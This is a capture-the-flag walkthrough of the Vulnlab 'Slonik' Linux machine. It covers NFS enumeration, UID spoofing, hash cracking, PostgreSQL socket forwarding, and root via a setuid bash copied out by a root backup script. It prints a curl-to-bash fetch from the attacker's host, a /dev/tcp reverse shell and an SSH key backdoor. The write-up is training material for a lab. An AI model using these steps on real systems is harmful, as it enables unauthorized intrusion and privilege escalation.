Slonik is a medium Linux machine from Vulnlab created by xct. It involves getting foothold through PostgreSQL and escalating privilege by exploiting a custom backup script.

Enumeration

NMAP

As always, we start with a standard nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
➜  slonik sudo nmap -sC -sV --min-rate=5000 10.10.93.116 | tee nmap.txt
[sudo] password for serioton:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 14:45 EDT
Nmap scan report for 10.10.93.116
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41801/udp mountd
| 100005 1,2,3 51745/tcp6 mountd
| 100005 1,2,3 58629/tcp mountd
| 100005 1,2,3 58984/udp6 mountd
| 100021 1,3,4 35315/tcp6 nlockmgr
| 100021 1,3,4 39403/udp6 nlockmgr
| 100021 1,3,4 45943/tcp nlockmgr
| 100021 1,3,4 54375/udp nlockmgr
| 100024 1 37624/udp6 status
| 100024 1 38943/tcp status
| 100024 1 40485/tcp6 status
| 100024 1 44411/udp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds

From the Nmap scan we can see that we have ssh and nfs ports open

NFS

We can look for NFS shares using this command

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  current nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.93.116 -Pn

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 15:09 EDT
Nmap scan report for 10.10.93.116
Host is up (0.070s latency).

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
| /var/backups *
|_ /home *

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds

As you can see, there are two shares: backups and home. Let’s mount them

1
2
mkdir extract
sudo mount -t nfs 10.10.93.116: ./extract

The home directory looks interesting but we can’t access it since it is owned by the user 1337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  slonik cd extract
➜ extract ls -lah
total 16K
drwxr-xr-x 19 root root 4.0K Oct 31 06:05 .
drwxr-xr-x 5 serioton serioton 4.0K Oct 31 06:06 ..
drwxr-xr-x 3 root root 4.0K Oct 24 09:03 home
drwxr-xr-x 13 root root 4.0K Sep 18 22:21 var
➜ extract cd home
➜ home ls -lah
total 12K
drwxr-xr-x 3 root root 4.0K Oct 24 09:03 .
drwxr-xr-x 19 root root 4.0K Oct 31 06:05 ..
drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 service
➜ home cd service
cd: permission denied: service

We need to create a user called 1337 and assign it the UID 1337, aligning our permissions with those required for access.

1
2
➜  home sudo usermod -u 1337 1337
➜ home sudo su 1337

Now we have access to the directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ bash
1337@eternal:/home/serioton/vulnlab/slonik/extract/home$ ls -lah
total 12K
drwxr-xr-x 3 root root 4.0K Oct 24 09:03 .
drwxr-xr-x 19 root root 4.0K Oct 29 14:45 ..
drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 service
1337@eternal:/home/serioton/vulnlab/slonik/extract/home$ cd service/
1337@eternal:/home/serioton/vulnlab/slonik/extract/home/service$ ls -lah
total 40K
drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 .
drwxr-xr-x 3 root root 4.0K Oct 24 09:03 ..
-rw-rw-r-- 1 1337 1337 90 Oct 24 09:04 .bash_history
-rw-r--r-- 1 1337 1337 220 Oct 24 02:08 .bash_logout
-rw-r--r-- 1 1337 1337 3.7K Oct 24 02:08 .bashrc
drwx------ 2 1337 1337 4.0K Oct 24 02:54 .cache
drwxrwxr-x 3 1337 1337 4.0K Oct 24 02:15 .local
-rw-r--r-- 1 1337 1337 807 Oct 24 02:08 .profile
-rw------- 1 1337 1337 326 Oct 24 02:17 .psql_history
drwxrwxr-x 2 1337 1337 4.0K Oct 24 02:56 .ssh

There are some interesting files, such as .psql_history and .bash_history. Let’s start by examining the .psql_history file

1
2
3
4
5
6
7
1337@eternal:/home/serioton/vulnlab/slonik/extract/home/service$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', '<REDACTED>'WHERE', network access account');
select * from users;
\q

We obtained the hash of the service user. Let’s crack it with john

1
2
3
4
5
6
7
8
9
➜  slonik j hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (?)
1g 0:00:00:00 DONE (2023-10-29 15:26) 100.0g/s 921600p/s 921600c/s 921600C/s fucklife..sassy123
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Alright, at this point, we have our credentials, so perhaps we can SSH in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
➜  slonik ssh service@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@slonik.vl) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1014-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Oct 31 10:19:02 UTC 2023

System load: 0.00927734375 Processes: 124
Usage of /: 32.3% of 7.57GB Users logged in: 0
Memory usage: 23% IPv4 address for eth0: 10.10.84.117
Swap usage: 0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 24 13:11:33 2023 from 10.10.1.254
Connection to slonik.vl closed.

oops! when we put the password it just closes the SSH connection as you can see

1
Connection to slonik.vl closed.

Hmmm, weird right? At this point I was so confused then I took a look at the hint in the wiki which says

1
Use ssh forwarding & connect to that socket

If we take a look at the bash history file, we can see some interesting things. Specifically, this file right here /var/run/postgresql/.s.PGSQL.5432 which is a Unix domain socket used by PostgreSQL.

1
2
3
4
5
1337@eternal:/home/serioton/vulnlab/slonik/extract/home/service$ cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

Following the provided hint, we proceed to do a socket forwarding through SSH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  slonik ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@slonik.vl) Password:

Now, we just need to connect to PostgreSQL locally using the psql command like this

1
2
3
4
5
6
➜  slonik psql -h /tmp -U postgres

psql (16.0 (Debian 16.0-2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.

postgres=#

We can list the databases using the \list command

1
2
3
4
5
6
7
8
9
10
11
postgres=# \list
List of databases
Name | Owner | Encoding | Locale Provider | Collate | Ctype | ICU Locale | ICU Rules | Access privileges
-----------+----------+----------+-----------------+---------+---------+------------+-----------+-----------------------
postgres | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
service | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
template0 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
(4 rows)

Let’s connect to the service database

1
2
3
postgres=# \c service
psql (16.0 (Debian 16.0-2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".

We can list tables inside this db using \d

1
2
3
4
5
6
7
service=# \d
List of relations
Schema | Name | Type | Owner
--------+--------------+----------+----------
public | users | table | postgres
public | users_id_seq | sequence | postgres
(2 rows)
1
2
3
4
5
service=# select * from users;
id | username | password | description
----+----------+----------------------------------+------------------------
1 | service | <REDACTED> | network access account
(1 row)

We already got this hash so that’s not interesting. However, we can read files and even run commands from inside Postgres.

Shell as Postgres

We can verify that we can run commands:

1
2
service=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
1
2
service=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
1
2
3
4
5
service=# SELECT * FROM cmd_exec;
cmd_output
------------------------------------------------------------------------
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)

Now let’s get a reverse shell. To do this, I will use the following one liner and grab a shell from our machine then pipe it to bash to execute it

1
service=# DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'curl <http://10.8.0.210/x> | bash';DROP TABLE IF EXISTS cmd_exec

Inside the x file there is a bash reverse shell

1
2
3
➜  slonik cat x
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.210/443 0>&1

Now, all we need to do is to setup Netcat listener and a Python server, then run the above one-liner. And we got a shell as the user postgres

1
2
3
4
5
6
7
➜  slonik nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.78.92] 34228
bash: cannot set terminal process group (1025): Inappropriate ioctl for device
bash: no job control in this shell
postgres@slonik:/var/lib/postgresql/14/main$ whoami
postgres

Let’s stabilize our shell and grab the user flag

1
2
3
4
5
6
7
8
9
10
11
12
13
postgres@slonik:/var/lib/postgresql$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<sql$ python3 -c 'import pty;pty.spawn("/bin/bash")'
postgres@slonik:/var/lib/postgresql$ export TERM=xterm
export TERM=xterm
postgres@slonik:/var/lib/postgresql$ ^Z
[1] + 5861 suspended nc -nlvp 443
➜ slonik stty raw -echo;fg
[1] + 5861 continued nc -nlvp 443

postgres@slonik:/var/lib/postgresql$ ls
14 user.txt
postgres@slonik:/var/lib/postgresql$ cat user.txt
VL{REDATCED}

for a better shell, you can add your ssh key in the home directory of the postgres user and ssh in

1
2
3
4
5
6
postgres@slonik:/var/lib/postgresql$ mkdir .ssh
mkdir .ssh
postgres@slonik:/var/lib/postgresql$ cd .ssh
cd .ssh
postgres@slonik:/var/lib/postgresql/.ssh$ echo 'YOUR SSH PUB KEY HERE' > authorized_keys
<B2pA3qlSjqD8AE= serioton@eternal' > authorized_keys

PrivEsc

Let’s download pspy64 and execute it on the target machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
postgres@slonik:~$ cd /dev/shm/
postgres@slonik:/dev/shm$ wget http://10.8.0.210/pspy64
--2023-11-02 13:01:59-- http://10.8.0.210/pspy64
Connecting to 10.8.0.210:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64 100%[===================================>] 2.96M 645KB/s in 4.8s

2023-11-02 13:02:04 (630 KB/s) - ‘pspy64’ saved [3104768/3104768]

postgres@slonik:/dev/shm$ chmod +x pspy64
postgres@slonik:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

pspy reveals something interesting: there is a backup script located at /usr/bin/backup running as root every couple of minutes

1
2
3
4
5
6
7
2023/11/02 13:03:02 CMD: UID=0     PID=1197   | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
2023/11/02 13:03:02 CMD: UID=115 PID=1196 | postgres: 14/main: walsender postgres [local] streaming 0/760000D8
2023/11/02 13:03:02 CMD: UID=0 PID=1198 |
2023/11/02 13:03:02 CMD: UID=0 PID=1199 | /bin/bash /usr/bin/backup
2023/11/02 13:03:03 CMD: UID=0 PID=1202 | /bin/bash /usr/bin/backup
2023/11/02 13:03:03 CMD: UID=0 PID=1201 | /bin/bash /usr/bin/backup
2023/11/02 13:03:03 CMD: UID=0 PID=1200 | /bin/bash /usr/bin/backup

Analyzing the backup script

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi

This bash script performs a series of operations:
Initially, it removes the content of the /opt/backups/current/ directory. Following this, it runs pg_basebackup, a tool designed for creating base backups of PostgreSQL database. This tool establishes a connection to the database hosted on /var/run/postgresql, operating as the postgres user. The backup is then stored in the /opt/backups/current/ directory. Finally, the script proceeds to create a compressed ZIP file of the current backup.

Attack Strategy

Since the backup script is running as root and the default path of the DB which is being backed up is under /var/lib/postgresql/14/main

1
2
3
postgres@slonik:~/14/main$ ls
PG_VERSION global pg_dynshmem pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc pg_wal postgresql.auto.conf postmaster.pid
base pg_commit_ts pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_xact postmaster.opts

and since everything in the backup will be owned by root, we can write files in /var/lib/postgresql/14/main which is owned by our user (postgres) and then root will write those files in /opt/backups/current/ which is owned by him.

Attack Execution

Let’s copy bash to ~/14/main and give it the setuid bit

1
2
3
4
5
6
7
8
9
10
postgres@slonik:~/14/main$ cp /bin/bash mybash
postgres@slonik:~/14/main$ chmod u+s mybash
postgres@slonik:~/14/main$ ls
PG_VERSION global pg_commit_ts pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_xact postmaster.opts
base mybash pg_dynshmem pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc pg_wal postgresql.auto.conf postmaster.pid
postgres@slonik:~/14/main$ ls -lah
total 1.5M
...
-rwsr-xr-x 1 postgres postgres 1.4M Nov 2 13:22 mybash
...

Now all we have to do is to wait a little bit until the backup script executes and we should have mybash under /opt/backups/current/ as you can see here

1
2
3
4
5
postgres@slonik:~/14/main$ ls -lah /opt/backups/current/
total 1.6M
...
-rwsr-xr-x 1 root root 1.4M Nov 2 13:23 mybash
...

mybash is owned by root and have the setuid bit so we can simply spawn a root shell

1
2
3
4
5
postgres@slonik:~/14/main$ /opt/backups/current/mybash -p
mybash-5.1# whoami
root
mybash-5.1# cat /root/root.txt
VL{REDACTED}

That concludes the box. I hope you learned something new 🐱